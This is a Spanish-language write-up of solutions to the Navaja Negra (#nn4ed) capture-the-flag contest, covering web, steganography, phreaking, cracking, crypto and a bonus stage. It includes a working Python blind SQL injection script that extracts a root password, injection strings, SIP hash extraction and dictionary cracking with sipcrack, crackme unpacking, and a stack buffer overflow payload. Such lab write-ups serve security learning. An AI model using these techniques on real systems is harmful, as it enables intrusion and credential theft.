Solucionario para el CTF de #nn4ed

Vte. Javier García Mayén
neofito@gmail.com




Tabla de contenido

Prueba web 1 (categoría: web) .................................................................................................................... 5
Prueba web 2 (categoría: web) .................................................................................................................... 7
Prueba stg 1 (categoría: stego) ................................................................................................................... 10
Prueba phk 1 (categoría: phreaking) .......................................................................................................... 11
Prueba phk 2 (categoría: phreaking) .......................................................................................................... 13
Prueba crk 1 (categoría: cracking) .............................................................................................................. 14
Solución de CRP2 (categoría cripto) ........................................................................................................... 16
Prueba extra (categoría: varios) ................................................................................................................. 18






5

Prueba web 1 (categoría: web)
URL: http://ctf.navajanegra.com/game.php?n=1

Comenzando que es gerundio; accedemos al enlace ‘page’ de la imagen anterior, que nos lleva a
http://ctf.navajanegra.com/WEB%201.php, y que tiene el siguiente aspecto:

Si tratamos de “acercarnos” al botón éste se desplaza, impidiendo pulsarlo; sin embargo, podemos
utilizar javascript y la consola de firebug
1
para, aunque sea por cabezotas, conseguir pulsar el botón:

Lo que hace que aparezca la siguiente ventana emergente:


1
https://addons.mozilla.org/es/firefox/addon/firebug/

6

Una vez cerrada la ventana se nos redirige a la página principal de Navaja Negra; vamos, vía muerta.
Después de varias vueltas al código fuente de la página, el cual sólo contiene una función en javascript,
fun(), encargada de marearnos con el botón, se me ocurrió utilizar el comando wget desde Linux para
obtener el contenido y ver si este difería en algo, encontrando allí, ahora sí, la contraseña del nivel.
El siguiente script en Python permite obtener el mismo resultado que lanzar el comando wget:
#! /usr/bin/python
# -*- coding: utf-8 -*-
"""
web1.py (v0.1)

Created: 2014-09-28

Copyright (c) 2010: Vte J. Garcia Mayen <neofito@gmail.com>
Copyright (c) 2010: Neo System Forensics http://neosysforensics.es

This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2 of the License, or (at your
option) any later version. See http://www.gnu.org/copyleft/gpl.html for
the full text of the license.
"""
import requests
import bs4

def main():
""" Main Function """

url = "http://ctf.navajanegra.com/WEB%201.php"
headers = {'User-Agent':'Wget/1.13.4 (linux-gnu)'}

print '-----------------------------------------------------'
print '- #nn4ed CTF - Level: web1 (unclassified) -'
print '-----------------------------------------------------'
print '[*] Guetting WEB 1.php content...'
req = requests.get(url, headers=headers)
print '[*] Done!'
print '[*] Analyzing the retrieved content...'
soup = bs4.BeautifulSoup(req.text)
print '[*] Done!'
print '-----------------------------------------------------'
for string in soup.strings:
if "Password" in string:
print string.replace('\n', '')

if __name__ == "__main__":
main()

La salida de su ejecución sería:
C:\nn4ed>python web1.py
-----------------------------------------------------
- #nn4ed CTF - Level: web1 (unclassified) -
-----------------------------------------------------
[*] Guetting WEB 1.php content...
[*] Done!
[*] Analyzing the retrieved content...
[*] Done!
-----------------------------------------------------
Password: 6e3e92ebfcec506d0cc56f24a929ac11

7

Prueba web 2 (categoría: web)
URL: http://ctf.navajanegra.com/game.php?n=12

Continuamos para bingo; en este caso, y tal como nos indica el enunciado de la prueba, es necesario
aprovechar una inyección SQL en el formulario al que accedemos mediante el enlace ‘Server’, y que
apunta a http://ctf.navajanegra.com/web2.php
Después de varios intentos detecto la cadena que permite la inyección en el campo ‘user’ del
formulario, ‘ or ‘1’=’1, que obtiene como resultado una ventana emergente indicándonos que el usuario
‘root’ es correcto, pero no así la contraseña proporcionada:

Si por el contrario probamos con una sentencia SQL cuyo resultado no es verdadero, ‘ or ‘1’=’2 por
ejemplo, no obtenemos ninguna respuesta:


8

Así que tiene toda la pinta de ser una inyección SQL a ciegas, es decir, no obtenemos directamente los
valores buscados, en este caso la pass de root, directamente desde la página pero si podemos inferir
estos valores haciendo las consultas adecuadas y atendiendo al resultado obtenido:
 un alert si el resultado de la consulta es verdadero;
 nada en el caso de que el resultado sea falso.
Para automatizar el proceso de ‘averiguar’ la pass del usario utilizo el siguiente script:
#! /usr/bin/python
# -*- coding: utf-8 -*-
"""
web2_02.py (v0.2)

Created: 2014-09-28

Copyright (c) 2010: Vte J. Garcia Mayen <neofito@gmail.com>
Copyright (c) 2010: Neo System Forensics http://neosysforensics.es

This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2 of the License, or (at your
option) any later version. See http://www.gnu.org/copyleft/gpl.html for
the full text of the license.
"""
import requests
import sys

def make_query(query, okmsg):
""" Function doc """

payload = {'u': query, 'p': ''}
req = requests.get("http://ctf.navajanegra.com/web2.php", params=payload)

if okmsg in req.text:
return True
else:
return False

def guess_password_length():
""" Function doc """

okmsg = "User root correct but bad Password!"

length = 1
query = "root' and length(pass) > '%d" % length
while make_query(query, okmsg):
sys.stdout.write('%s\r' % length)
length = length + 1
query = "root' and length(pass) > '%d" % length

sys.stdout.write(" " * len(str(length)) + "\r")
return length

def guess_character(position, okmsg):
""" Function doc """

query = "root' and ascii(substring(pass,%s,1)) & '%s' = '%s"
bit = [128, 64, 32, 16, 8, 4, 2, 1]

byte = 0
for value in bit:
qry = query % (str(position), str(value), str(value))
if make_query(qry, okmsg):
byte += value

9


return byte

def guess_password(length):
""" Function doc """

okmsg = "User root correct but bad Password!"
index = 0

password = ""
while len(password) != length:
index += 1
byte = guess_character(index, okmsg)
password += chr(byte)
sys.stdout.write('%s\r' % password)

sys.stdout.write(" " * length + "\r")

return password

def main():
""" Main function """

print '---------------------------------------------------'
print '- #nn4ed CTF - Level: web2 (Blind SQL Injection) -'
print '---------------------------------------------------'
print '[*] Guessing password length...'
length = guess_password_length()
print '[*] Password length guessed!'
print '[*] Guessing password...'
password = guess_password(length)
print '[*] Password guessed!'
print '---------------------------------------------------'
print 'Password: %s' % password

if __name__ == "__main__":
main()

El script implementa una búsqueda binaria para obtener el resultado con el menor número posible de
consultas sql. El script lo desarrollé en su momento para solucionar una prueba del wargame “Narnia”, y
sólo he tenido que adaptarlo para esta ocasión. La explicación y el script “original” están en:
Jugando sí se aprende (advierto, nivel básico)
http://neosysforensics.blogspot.com.es/2013/01/jugando-si-se-aprende-advierto-nivel.html
El resultado obtenido al ejecutarlo para solucionar la prueba:
C:\nn4ed>python web2_v2.py
---------------------------------------------------
- #nn4ed CTF - Level: web2 (Blind SQL Injection) -
---------------------------------------------------
[*] Guessing password length...
[*] Password length guessed!
[*] Guessing password...
[*] Password guessed!
---------------------------------------------------
Password: 78a2109f8519940bb553

10

Prueba stg 1 (categoría: stego)
URL: http://ctf.navajanegra.com/game.php?n=8

La prueba nos indica que tenemos que trabajar con la imagen, y para eso, ¡primero necesitamos la
imagen! No basta con hacer clic con el botón derecho del ratón y darle a “Guardar imagen”, ya que está
incluida como fondo mediante el siguiente código CSS:

El enlace para descargarla sería pues http://ctf.navajanegra.com/STG1.jpg
Una vez descargada, si la abrimos con un editor hexadecimal podemos ver al final lo que parece una
cadena en base64:


11

Utilizando el intérprete de Python podemos “descodificarla” para obtener finalmente el flag del nivel:
C:\nn4ed>python
Python 2.7.8 (default, Jun 30 2014, 16:03:49) [MSC v.1500 32 bit (Intel)] on
win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> cadena =
"TXkgc2VjcmV0IGNvZGU6IDFlZjFkODM0NzMzMWFmYjc1YjgyMjgxOWZkNGU2ZDNiIA=="
>>> base64.b64decode(cadena)
'My secret code: 1ef1d8347331afb75b822819fd4e6d3b '
>>>
Prueba phk 1 (categoría: phreaking)
URL: http://ctf.navajanegra.com/game.php?n=3

Vale, tenemos un audio donde una locución indica al usuario que introduzca su número de tarjeta de
crédito y a continuación los tonos correspondientes a los números de la misma.
Se me ocurre que lo mejor es “cortar” la locución y quedarme sólo con la parte que me interesa así que,
utilizando audacity
2
primero abro el fichero mp3 y divido la pista en los dos canales que componen el
formato estéreo:

para eliminar uno de ellos y quedarme con el audio en formato mono.

2
http://audacity.sourceforge.net/?lang=es

12

A continuación selecciono el bloque que me interesa y lo corto:

y ya por último creo un nuevo proyecto y lo pego allí, para finalmente exportarlo y guardarlo como un
fichero WAV.
Vale, ya tenemos el audio con los número de la tarjeta de crédito, pero ahora hay que interpretarlo, y
como no tenemos a mano el wasap de John Draper
3
pues tiramos de aplicación online, que haberlas
haylas. Concretamente yo he utilizado esta: http://dialabc.com/sound/detect/index.html

Solución: 5461765425671065

3
http://es.wikipedia.org/wiki/John_Draper

13

Prueba phk 2 (categoría: phreaking)
URL: http://ctf.navajanegra.com/game.php?n=11

La página de la prueba nos permite descargar una captura, SipPHK2.pcapng, del tráfico SIP producido
durante el proceso de registro de un dispositivo en un servidor SIP.

Utilizando las herramientas de la suite sipcrack podemos extraer el hash md5 solicitado por el
servidor al dispositivo para, posteriormente y mediante un ataque de diccionario, obtener la contraseña
en texto claro. Lo primero, extraer los paquetes correspondientes al proceso de login utilizando
sipdump:
# sipdump -p SipPHK2.pcapng auth.txt

SIPdump 0.2 ( MaJoMu | www.codito.de )
---------------------------------------

* Using pcap file 'SipPHK2.pcapng' for sniffing
* Starting to sniff with packet filter 'tcp or udp'

* Dumped login from 77.72.169.129 -> 10.0.61.100 (User: 'nn4ed')

* Exiting, sniffed 1 logins

y ahora, utilizando el famoso diccionario rockyou.txt incluido con cualquier distribución para
pentesting que se precie lanzamos el ataque mediante la herramienta sipcrack:
# sipcrack -w rockyou.txt auth.txt

SIPcrack 0.2 ( MaJoMu | www.codito.de )
----------------------------------------

* Found Accounts:

Num Server Client User Hash|Password

1 10.0.61.100 77.72.169.129 nn4ed 3c58ee4488a90ad08d67a24b4c2c9beb
* Select which entry to crack (1 - 1): 1

14


* Generating static MD5 hash... 14ac1cae34f4c3f9b7471887f1a24a8e
* Loaded wordlist: 'rockyou.txt'
* Starting bruteforce against user 'nn4ed' (MD5:
'3c58ee4488a90ad08d67a24b4c2c9beb')
* Tried 168183 passwords in 0 seconds

* Found password: 'passw'
* Updating dump file 'auth.txt'... done

Solución: ‘3c58ee4488a90ad08d67a24b4c2c9beb:passw’
Prueba crk 1 (categoría: cracking)
URL: http://ctf.navajanegra.com/game.php?n=5


Una vez descargado el fichero CrackMe1.zip si extraemos su contenido obtenemos un ejecutable de
Windows, CrackMe1.exe, que una vez ejecutado, no sin un poco de miedo, muestra lo siguiente:

Difícil va a ser adivinar los valores correctos por inspiración divina, así que mejor primero analizamos el
ejecutable con PEiD a ver qué tenemos:


15

Parece que el ejecutable ha sido empaquetado utilizando UPX
4
para dificultar su análisis, así que
primero lo desempaquetamos:

y una vez correctamente desempaquetado volvemos a analizarlo a ver que tenemos ahora:

¡Esto ya es otra cosa! Tenemos un ejecutable en Visual Basic y se me ocurre probar primero lo más
simple, o lo que es lo mismo, ver las strings que contiene el ejecutable a ver si suena la flauta. Esto
anterior traducido a OllyDbg
5
sería:


4
http://upx.sourceforge.net/
5
http://www.ollydbg.de/

16

Entre todas las strings incluidas en el ejecutable me llaman la atención las dos siguientes:

Como probar es gratis las utilizo como valores de autenticación en el ejecutable, “Albacete” como
usuario y “...N....N” como contraseña, y mira tú por donde que suena la flauta:

Para obtener el código que permite pasar el nivel necesitamos el hash md5 correspondiente a la
contraseña obtenida, así que nuevamente usando el intérprete de Python:
C:\nn4ed>python
Python 2.7.8 (default, Jun 30 2014, 16:03:49) [MSC v.1500 32 bit (Intel)] on
win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> m = hashlib.md5()
>>> m.update("...N....N")
>>> print m.hexdigest()
0047c0baeb5faccc8a71319c72fa6af2
>>>
Prueba crp 2 (categoría crypto)
URL: http://ctf.navajanegra.com/game.php?n=10

Copio la cadena hexadecimal incluida entre comillas dobles como valor de la variable MSG directamente
en un nuevo proyecto dentro de la herramienta CrypTool
6
para empezar a analizarla (@Kachakil
7
dixit).
Me aseguro primero de haber definido correctamente las opciones de la aplicación para los procesos de
análisis, dejando los valores tal como se muestra en la siguiente imagen:

6
https://www.cryptool.org/en/
7
https://twitter.com/Kachakil

17


Ahora sí, menú Análisis, Herramientas para el análisis, Histograma:

El resultado anterior nos muestra la frecuencia de aparición para cada carácter, y por la forma de
agruparse tiene toda la pinta de tratarse de una cadena ASCII cifrada utilizando algún tipo de cifrado
simétrico.
Otro matiz interesante es que el valor hexadecimal más pequeño es el 40. En una cadena ASCII el valor
más pequeño y que resulta más probable es el espacio en blanco, que se corresponde con el código 40
en hexadecimal.
Vamos a probar a descifrar el texto utilizando la técnica de suma de bytes, así que menú
Cifrar/Descifrar, Simétrico (clásico), Suma de Bytes y vamos a utilizar como valor la diferencia entre el
carácter hexadecimal más pequeño en la cadena cifrada y su valor correspondiente más probable, el
espacio en blanco o lo que es lo mismo el código hexadecimal 40:

18


Pulsando el botón descifrar obtenemos el texto en claro con la solución de la prueba:

Secret code: a3fa85f73d5565db577095d283ef7651
Prueba extra (categoría: varios)
URL: http://ctf.navajanegra.com/game.php?n=13



19

Parece que hay varios caminos para solucionar la prueba, pero ya puedo darme con un canto en los
dientes de haber encontrado al menos uno de ellos.
Pulsando sobre la imagen del gato pirata nos lleva a http://ctf.navajanegra.com/extra.php donde
comienza realmente la prueba, y podemos leer el siguiente texto:

Si algo sabemos es que somos 007, otra cosa es donde indicárselo a la página; unas cuantas vueltas, dos
cervezas y varios cabezazos después se me ocurre probar modificando la el header User-Agent de la
petición http, utilizando para ello la herramienta OWASP ZAP
8
:

Misión cumplida, o al menos obtenidas las instrucciones de la misión, ya que la página nos devuelve
ahora el siguiente contenido:

Así que una vez descargado el código QR y utilizando http://blog.qr4.nl/Online-QR-Code_Decoder.aspx
obtenemos el código md5 correspondiente: f3807a187fce8cd0d901726ee33331bc.
Tirando nuevamente de servicios online, ahora desde http://www.md5cracker.org/, obtenemos la
cadena correspondiente al hash md5 obtenida en el paso anterior, y que es ‘BUDA’ (sin las comillas).

8
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

20

El paso siguiente sería ‘comunicar’ dicha palabra a la página de la prueba, así que varios cabezazos, que
no cervezas, después, se me ocurre mandar la siguiente petición:

El método POST está asociado normalmente al envío de datos a través de un formulario, de ahí la
cabecera ‘Content-Type: application/x-www-form-urlencoded’ y el valor, con formato
variable=valor, iría en el cuerpo de la petición. La cabecera ‘Content-Length’ correspondería a la
longitud de la cadena incluida en el cuerpo del POST.
Sea como fuere vemos que todavía no hemos terminado, ya que recibimos el siguiente contenido:

Unas cuantas vueltas después decidimos que adivinos no somos, y aunque tampoco somos exploiters no
nos quedan más huevos que intentarlo por esa vía, así que descargamos el fichero BoF1.ova desde el
siguiente enlace http://ctf.navajanegra.com/extra.php?guru=buda, donde al visitarlo se nos dan algunas
instrucciones más, todo ello sin olvidar quién somos, o lo que es lo mismo, mandando en la cabecera de
la petición el ‘User-Agent: 007’ tal como hemos hecho hasta ahora:

Y las nuevas instrucciones justo con el enlace para la descarga desde Mega:

Descarga: https://mega.co.nz/#!wEFFUSyI!IygGuqaNn5KijDlC5WW3XM3yX_T6sdyvwjBfOd0nizE
Una vez descargada la máquina virtual en formato ova
9
podemos importarla, por ejemplo desde
VirtualBox
10
, para tener disponible la máquina virtual y poder seguir así con la resolución de la prueba (o
pegándonos más cabezazos, según se mire o según quién mire).

9
http://es.wikipedia.org/wiki/Open_Virtualization_Format

21


Una vez finalizado el proceso de importación arrancaremos la nueva máquina virtual y seguiremos con
la fiesta, que si no lo es por el alcohol, si al menos por las horas en las que transcurría:

Como soy un chico bueno, y la falta de sueño ya hacía mella, me centré en la consecución de la prueba
siguiendo los cauces indicados y dejé la curiosidad para otros momentos más idóneos, así que utilizando
las credenciales proporcionadas anteriormente, usuario ‘navaja’ con contraseña ‘negra’ accedemos al
sistema y vemos primero que es lo que hay:
navaja@slitaz:~$ ls -l
total 12
-rwxr-xr-x 1 navaja navaja 7305 Sep 25 18:44 bof1
-rw-r--r-- 1 navaja navaja 113 Sep 25 18:14 readme.txt

navaja@slitaz:~$ cat readme.txt

10
https://www.virtualbox.org/

22

Encuentra la contraseña del archivo /home/navaja/bof1, desbordando la
pila, para obtener la clave del nivel :)

Probamos a ejecutar la aplicación para ver ‘de qué va esto’:
navaja@slitaz:~$ ./bof1
Pista: 0x8048474
Hola
Introduciste: Hola

Como se trata de explotar un buffer overflow la cadena introducida debe ser lo suficientemente larga
como para sobrescribir la dirección de retorno, EIP, y dada la pista tiene toda la pinta que la dirección
con la que sobrescribir EIP tiene que ser la indicada, es decir, 0x8048474, que como estamos en un
sistema litle-endian
11
tiene que representarse al revés. Utilizaré el siguiente comando de Python, que ya
estoy harto de que todos los ejemplos se hagan utilizando un lenguaje orientado al ‘ofuscamiento’:
python -c 'print "A" * NUM_A_DETERMINAR + "\x74\x84\x04\x08"' | ./bof1

Unas cuantas pruebas después tenemos la solución de la prueba, que al final no ha sido tan complicada
como parecía a priori:

Sólo nos queda obtener el hash md5 de la contraseña obtenida para utilizarlo como solución de la
prueba, así que de nuevo desde el intérprete de Python:
C:\Users\jgarcia>python
Python 2.7.8 (default, Jun 30 2014, 16:03:49) [MSC v.1500 32 bit (Intel)] on
win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> m = hashlib.md5()
>>> m.update("GNU/Linux")
>>> print m.hexdigest()
4a58db979d107ca6300f1be1406b3605
>>>


Y esto ha sido todo lo que he conseguido. No sé si así han sido las cosas, pero sí que así las he contado 

11
http://es.wikipedia.org/wiki/Endianness




Sign up to vote on this title
UsefulNot useful